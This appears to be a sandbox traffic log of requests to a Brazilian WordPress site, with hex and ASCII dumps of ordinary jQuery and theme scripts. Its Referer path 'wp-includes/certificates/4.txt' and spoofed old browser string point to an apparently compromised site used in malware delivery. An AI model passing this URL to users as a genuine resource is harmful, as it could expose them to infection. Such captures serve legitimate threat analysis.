65 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 65 56 65 72 73 69 6f 6e 20 21 3d 2d 31 20 26 26 20 69 65 56 65 72 73 69 6f 6e 20 3c 20 39 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 74 65 4d 6f 64 65 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 09 09 7d 65 6c 73 65 7b 0a 09 09 09 6c 69 74 65 4d 6f 64 65 20 3d 20 74 72 75 65 3b 0a 09 09 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 70 61 72 61 6c 6c 61 78 5f 62 6f 78 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 70 61 72 61 6c 6c 61 78 42 6f 78 28 24 28 74 68 69 73 29 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 70 61 72 61 6c 6c 61 78 42 6f 78 28 6f 62 6a 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 62 6a 5f 62 67 20 3d 20 6f 62 6a 2e 66 69 6e 64 28 27 2e 70 61 72 Data Ascii: jQuery(document).ready(function($){ parallax_box = $('section.parallax-box'); if(parallax_box.length > 0){ ParallaxBox(); } function ParallaxBox() { var windowSelector = $(window), documentSelector = $(document), documentWidth = documentSelector.width(), windowHeight = windowSelector.outerHeight(), liteMode = false, ieVersion = getInternetExplorerVersion(); var ds = document.documentElement; if(!device.mobile() && !device.tablet()){liteMode = false; if (ieVersion !=-1 && ieVersion < 9){ liteMode = true; }}else{liteMode = true;} parallax_box.each(function() { parallaxBox($(this)); }); function parallaxBox(obj){ var obj_bg = obj.find('.par
Aug 16, 2022 11:45:09.447207928 CEST	4363	OUT	GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:09.678589106 CEST	4400	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:50 GMT Server: Apache ETag: "a53a52-14d5-58592d7651a40" Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT Content-Length: 5333 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383429 14780922 Age: 319 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 76 61 72 0a 09 09 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 20 3d 20 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 0a 09 3b 0a 0a 09 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 72 65 73 69 7a 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 6a 51 75 65 72 79 28 27 2e 67 6d 61 70 5f 63 6f 6e 74 61 69 6e 65 72 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 67 6d 61 70 5f 63 6f 6e 74 61 69 6e 65 72 32 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 63 6f 6e 74 61 69 6e 65 72 31 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 7d 29 2e 74 72 69 67 67 65 72 28 22 72 65 73 69 7a 65 22 29 3b 0a 0a 09 6a 51 75 65 72 79 28 27 2e 63 68 65 72 72 79 5f 6d 65 64 69 61 5f 70 61 72 61 6c 6c 61 78 5f 31 27 29 2e 66 61 64 65 54 6f 28 30 2c 20 30 29 3b 0a 09 0a 7d 29 0a 0a 24 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 0a 09 09 6d 65 6e 75 57 72 61 70 20 3d 20 24 28 27 2e 68 65 61 64 65 72 20 2e 6d 65 6e 75 5f 77 72 61 70 27 29 0a 09 2c 09 6f 66 66 73 65 74 41 72 72 61 79 20 3d 20 5b 5d 0a 09 2c 09 6f 66 66 73 65 74 56 61 6c 75 65 41 72 72 61 79 20 3d 20 5b 5d 0a 09 2c 09 5f 64 6f 63 75 6d 65 6e 74 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 0a 09 2c 09 63 75 72 72 48 61 73 68 20 3d 20 27 27 0a 09 2c 09 69 73 41 6e 69 6d 20 3d 20 66 61 6c 73 65 0a 09 2c 09 69 73 48 6f 6d 65 50 61 67 65 20 3d 20 24 28 27 62 6f 64 79 27 29 2e 68 61 73 43 6c 61 73 73 28 27 68 6f 6d 65 27 29 3f 20 74 72 75 65 3a 66 61 6c 73 65 0a 09 3b 0a 09 0a 09 2f 2f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 4d 65 6e 75 20 6e 61 76 69 67 61 74 69 6f 6e 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 24 28 27 23 74 6f 70 6e 61 76 20 3e 20 6c 69 27 2c 20 6d 65 6e 75 57 72 61 70 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 69 66 28 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 27 29 29 7b 0a 09 09 09 Data Ascii: jQuery(document).ready(function(){varwindowSelector = jQuery(window);windowSelector.resize(function(){jQuery('.gmap_container').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });jQuery('.gmap_container2').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });jQuery('.content_container1').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });}).trigger("resize");jQuery('.cherry_media_parallax_1').fadeTo(0, 0);})$(function() {varmenuWrap = $('.header .menu_wrap'),offsetArray = [],offsetValueArray = [],_document = $(document),currHash = '',isAnim = false,isHomePage = $('body').hasClass('home')? true:false;//--------------------------- Menu navigation ---------------------------$('#topnav > li', menuWrap).each(function(){if($(this).hasClass('menu-item-type-custom')){
Aug 16, 2022 11:45:09.816627979 CEST	4407	OUT	GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:10.120975018 CEST	4430	OUT	GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:10.352726936 CEST	4473	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:49 GMT Server: Apache ETag: "a4f8b7-570-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 1392 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383431 14780916 Age: 321 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 31 20 42 72 61 6e 64 6f 6e 20 41 61 72 6f 6e 20 28 68 74 74 70 3a 2f 2f 62 72 61 6e 64 6f 6e 61 61 72 6f 6e 2e 6e 65 74 29 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4c 49 43 45 4e 53 45 2e 74 78 74 29 2e 0a 20 2a 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 68 74 74 70 3a 2f 2f 61 64 6f 6d 61 73 2e 6f 72 67 2f 6a 61 76 61 73 63 72 69 70 74 2d 6d 6f 75 73 65 2d 77 68 65 65 6c 2f 20 66 6f 72 20 73 6f 6d 65 20 70 6f 69 6e 74 65 72 73 2e 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 4d 61 74 68 69 61 73 20 42 61 6e 6b 28 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 61 74 68 69 61 73 2d 62 61 6e 6b 2e 64 65 29 20 66 6f 72 20 61 20 73 63 6f 70 65 20 62 75 67 20 66 69 78 2e 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 53 65 61 6d 75 73 20 4c 65 61 68 79 20 66 6f 72 20 61 64 64 69 6e 67 20 64 65 6c 74 61 58 20 61 6e 64 20 64 65 6c 74 61 59 0a 20 2a 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 33 2e 30 2e 36 0a 20 2a 20 0a 20 2a 20 52 65 71 75 69 72 65 73 3a 20 31 2e 32 2e 32 2b 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 62 29 7b 76 61 72 20 63 3d 62 7c 7c 77 69 6e 64 6f 77 2e 65 76 65 6e 74 2c 64 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 65 3d 30 2c 66 3d 21 30 2c 67 3d 30 2c 68 3d 30 3b 72 65 74 75 72 6e 20 62 3d 61 2e 65 76 65 6e 74 2e 66 69 78 28 63 29 2c 62 2e 74 79 70 65 3d 22 6d 6f 75 73 65 77 68 65 65 6c 22 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 26 26 28 65 3d 63 2e 77 68 65 65 6c 44 65 6c 74 61 2f 31 32 30 29 2c 63 2e 64 65 74 61 69 6c 26 26 28 65 3d 2d 63 2e 64 65 74 61 69 6c 2f 33 29 2c 68 3d 65 2c 63 2e 61 78 69 73 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 63 2e 61 78 69 73 3d 3d 3d 63 2e 48 4f 52 49 5a 4f 4e 54 41 4c 5f 41 58 49 53 26 26 28 68 3d 30 2c 67 3d 2d 31 2a 65 29 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 59 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 68 3d 63 2e 77 68 65 65 6c 44 65 6c 74 61 59 2f 31 32 30 29 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 58 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 67 3d 2d 31 2a 63 2e 77 68 65 65 6c 44 65 6c 74 61 58 2f 31 32 30 29 2c 64 2e 75 6e 73 68 69 66 74 28 62 2c 65 2c 67 2c 68 29 2c 28 61 2e 65 76 65 6e 74 2e 64 69 73 70 61 74 63 68 7c 7c 61 2e 65 76 65 6e 74 2e 68 61 6e 64 6c 65 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 64 29 7d 76 61 72 20 62 3d 5b 22 44 4f 4d 4d 6f 75 73 65 53 63 72 6f 6c 6c 22 2c 22 6d 6f 75 73 65 77 68 65 65 6c 22 5d 3b 69 66 28 61 2e 65 76 65 6e 74 2e 66 69 78 48 6f 6f 6b 73 29 66 6f 72 28 76 61 72 20 63 3d 62 2e 6c 65 6e 67 74 68 3b 63 3b 29 61 2e 65 76 65 6e 74 2e 66 69 78 48 6f 6f 6b 73 5b 62 5b 2d 2d 63 5d 5d 3d 61 2e 65 76 65 6e 74 2e 6d 6f 75 73 65 48 6f 6f 6b 73 3b 61 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2e 6d 6f 75 73 65 77 68 65 65 6c 3d 7b 73 65 74 75 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: /! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net) Licensed under the MIT License (LICENSE.txt). * * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix. * Thanks to: Seamus Leahy for adding deltaX and deltaY * * Version: 3.0.6 * * Requires: 1.2.2+ /(function(a){function d(b){var c=b\|\|window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch\|\|a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){
Aug 16, 2022 11:45:10.368767023 CEST	4474	OUT	GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:10.600111008 CEST	4499	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:42:55 GMT Server: Apache ETag: "a53a5c-5e2-58592d7651a40" Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT Content-Length: 1506 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383433 20579437 Age: 135 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: ef bb bf 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 20 24 2e 66 6e 2e 73 63 72 6f 6c 6c 53 68 6f 77 54 69 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 0a 20 20 20 20 76 61 72 20 67 65 74 4f 70 74 69 6f 6e 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 72 72 65 63 74 69 6f 6e 59 3a 20 31 30 30 0a 20 20 20 20 2c 20 20 20 6f 6e 53 68 6f 77 3a 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 0a 20 20 20 20 7d 0a 20 20 20 20 24 2e 65 78 74 65 6e 64 28 67 65 74 4f 70 74 69 6f 6e 2c 20 6f 29 3b 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 5f 74 68 69 73 20 3d 20 24 28 74 68 69 73 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 74 6f 70 4f 66 66 73 65 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 77 69 6e 64 6f 77 48 65 69 67 68 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 76 69 73 69 62 6c 65 3d 66 61 6c 73 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 77 69 6e 3d 24 28 77 69 6e 64 6f 77 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 64 6f 63 3d 24 28 64 6f 63 75 6d 65 6e 74 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 69 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 69 6e 69 74 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5f 74 68 69 73 2e 61 64 64 43 6c 61 73 73 28 27 68 69 64 65 5f 73 74 61 74 65 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 64 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2f 2f 65 6e 64 20 69 6e 69 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 4f 66 66 73 65 74 20 3d 20 5f 74 68 69 73 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 61 64 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 73 63 72 6f 6c 6c 27 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 4c 69 73 74 65 6e 65 72 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 2e 74 72 69 67 67 65 72 28 27 73 63 72 6f 6c 6c 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 72 65 73 69 7a 65 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 Data Ascii: (function($){ $.fn.scrollShowTime=function(o){ var getOption = { correctionY: 100 , onShow: function(){} } $.extend(getOption, o); return this.each(function(){ var _this = $(this) ,topOffset ,windowHeight ,_visible=false ,_win=$(window) ,_doc=$(document) ; init(); function init(){ setTopOffset(); _this.addClass('hide_state'); addEventHandler(); }//end init function setTopOffset(){ topOffset = _this.offset().top; } function addEventHandler(){ $(window).on('scroll',function(){ setTopOffset(); positionListener(); }).trigger('scroll'); $(window).on('resize', function(){
Aug 16, 2022 11:45:10.631761074 CEST	4500	OUT	GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:10.863091946 CEST	4516	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:50 GMT Server: Apache ETag: "a53533-50bd-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 20669 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383435 21929804 Age: 320 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 20 2d 20 76 30 2e 39 2e 33 20 2d 20 32 30 31 33 2d 30 37 2d 31 36 0a 2a 20 68 74 74 70 3a 2f 2f 64 69 6d 73 65 6d 65 6e 6f 76 2e 63 6f 6d 2f 70 6c 75 67 69 6e 73 2f 6d 61 67 6e 69 66 69 63 2d 70 6f 70 75 70 2f 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 33 20 44 6d 69 74 72 79 20 53 65 6d 65 6e 6f 76 3b 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 69 2c 6e 2c 6f 2c 61 2c 72 2c 73 2c 6c 3d 22 43 6c 6f 73 65 22 2c 63 3d 22 42 65 66 6f 72 65 43 6c 6f 73 65 22 2c 64 3d 22 41 66 74 65 72 43 6c 6f 73 65 22 2c 75 3d 22 42 65 66 6f 72 65 41 70 70 65 6e 64 22 2c 70 3d 22 4d 61 72 6b 75 70 50 61 72 73 65 22 2c 66 3d 22 4f 70 65 6e 22 2c 6d 3d 22 43 68 61 6e 67 65 22 2c 67 3d 22 6d 66 70 22 2c 76 3d 22 2e 22 2b 67 2c 68 3d 22 6d 66 70 2d 72 65 61 64 79 22 2c 43 3d 22 6d 66 70 2d 72 65 6d 6f 76 69 6e 67 22 2c 79 3d 22 6d 66 70 2d 70 72 65 76 65 6e 74 2d 63 6c 6f 73 65 22 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 62 3d 21 21 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 49 3d 65 28 77 69 6e 64 6f 77 29 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 74 2e 65 76 2e 6f 6e 28 67 2b 65 2b 76 2c 69 29 7d 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 6e 2c 6f 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 72 65 74 75 72 6e 20 61 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 6d 66 70 2d 22 2b 74 2c 6e 26 26 28 61 2e 69 6e 6e 65 72 48 54 4d 4c 3d 6e 29 2c 6f 3f 69 26 26 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3a 28 61 3d 65 28 61 29 2c 69 26 26 61 2e 61 70 70 65 6e 64 54 6f 28 69 29 29 2c 61 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6e 29 7b 74 2e 65 76 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 67 2b 69 2c 6e 29 2c 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 26 26 28 69 3d 69 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 69 2e 73 6c 69 63 65 28 31 29 2c 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 5b 69 5d 26 26 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 5b 69 5d 2e 61 70 70 6c 79 28 74 2c 65 2e 69 73 41 72 72 61 79 28 6e 29 3f 6e 3a 5b 6e 5d 29 29 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 28 74 2e 73 74 2e 66 6f 63 75 73 3f 74 2e 63 6f 6e 74 65 6e 74 2e 66 69 6e 64 28 74 2e 73 74 2e 66 6f 63 75 73 29 2e 65 71 28 30 29 3a 74 2e 77 72 61 70 29 2e 74 72 69 67 67 65 72 28 22 66 6f 63 75 73 22 29 7d 2c 53 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 73 26 26 74 2e 63 75 72 72 54 65 6d 70 6c 61 74 65 2e 63 6c 6f 73 65 42 74 6e 7c 7c 28 74 2e 63 75 72 72 54 65 6d 70 6c 61 74 65 2e 63 6c 6f 73 65 42 74 6e 3d 65 28 74 2e 73 74 2e 63 6c 6f 73 65 4d 61 72 6b 75 70 2e 72 65 70 6c 61 63 65 28 22 25 74 69 74 6c 65 25 22 2c 74 2e 73 74 2e 74 43 6c 6f 73 65 29 29 2c 73 3d 69 29 2c 74 2e 63 75 72 72 Data Ascii: /! Magnific Popup - v0.9.3 - 2013-07-16 http://dimsemenov.com/plugins/magnific-popup/* Copyright (c) 2013 Dmitry Semenov; */(function(e){var t,i,n,o,a,r,s,l="Close",c="BeforeClose",d="AfterClose",u="BeforeAppend",p="MarkupParse",f="Open",m="Change",g="mfp",v="."+g,h="mfp-ready",C="mfp-removing",y="mfp-prevent-close",w=function(){},b=!!window.jQuery,I=e(window),x=function(e,i){t.ev.on(g+e+v,i)},k=function(t,i,n,o){var a=document.createElement("div");return a.className="mfp-"+t,n&&(a.innerHTML=n),o?i&&i.appendChild(a):(a=e(a),i&&a.appendTo(i)),a},T=function(i,n){t.ev.triggerHandler(g+i,n),t.st.callbacks&&(i=i.charAt(0).toLowerCase()+i.slice(1),t.st.callbacks[i]&&t.st.callbacks[i].apply(t,e.isArray(n)?n:[n]))},E=function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).trigger("focus")},S=function(i){return i===s&&t.currTemplate.closeBtn\|\|(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),s=i),t.curr
Aug 16, 2022 11:45:11.096554041 CEST	4575	OUT	GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:11.328099012 CEST	4655	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:51 GMT Server: Apache ETag: "a53571-9ca-58592d4b67500" Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT Content-Length: 2506 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383437 14780929 Age: 320 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 09 24 2e 66 6e 2e 74 6d 53 74 69 63 6b 55 70 3d 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 7b 0a 0a 09 09 76 61 72 20 67 65 74 4f 70 74 69 6f 6e 73 20 3d 20 7b 0a 09 09 09 63 6f 72 72 65 63 74 69 6f 6e 53 65 6c 65 63 74 6f 72 3a 20 24 28 27 2e 63 6f 72 72 65 63 74 69 6f 6e 53 65 6c 65 63 74 6f 72 27 29 0a 09 09 2c 09 6c 69 73 74 65 6e 53 65 6c 65 63 74 6f 72 3a 20 24 28 27 2e 6c 69 73 74 65 6e 53 65 6c 65 63 74 6f 72 27 29 0a 09 09 2c 09 61 63 74 69 76 65 3a 20 66 61 6c 73 65 0a 09 09 2c 09 70 73 65 75 64 6f 3a 20 74 72 75 65 0a 09 09 7d 0a 09 09 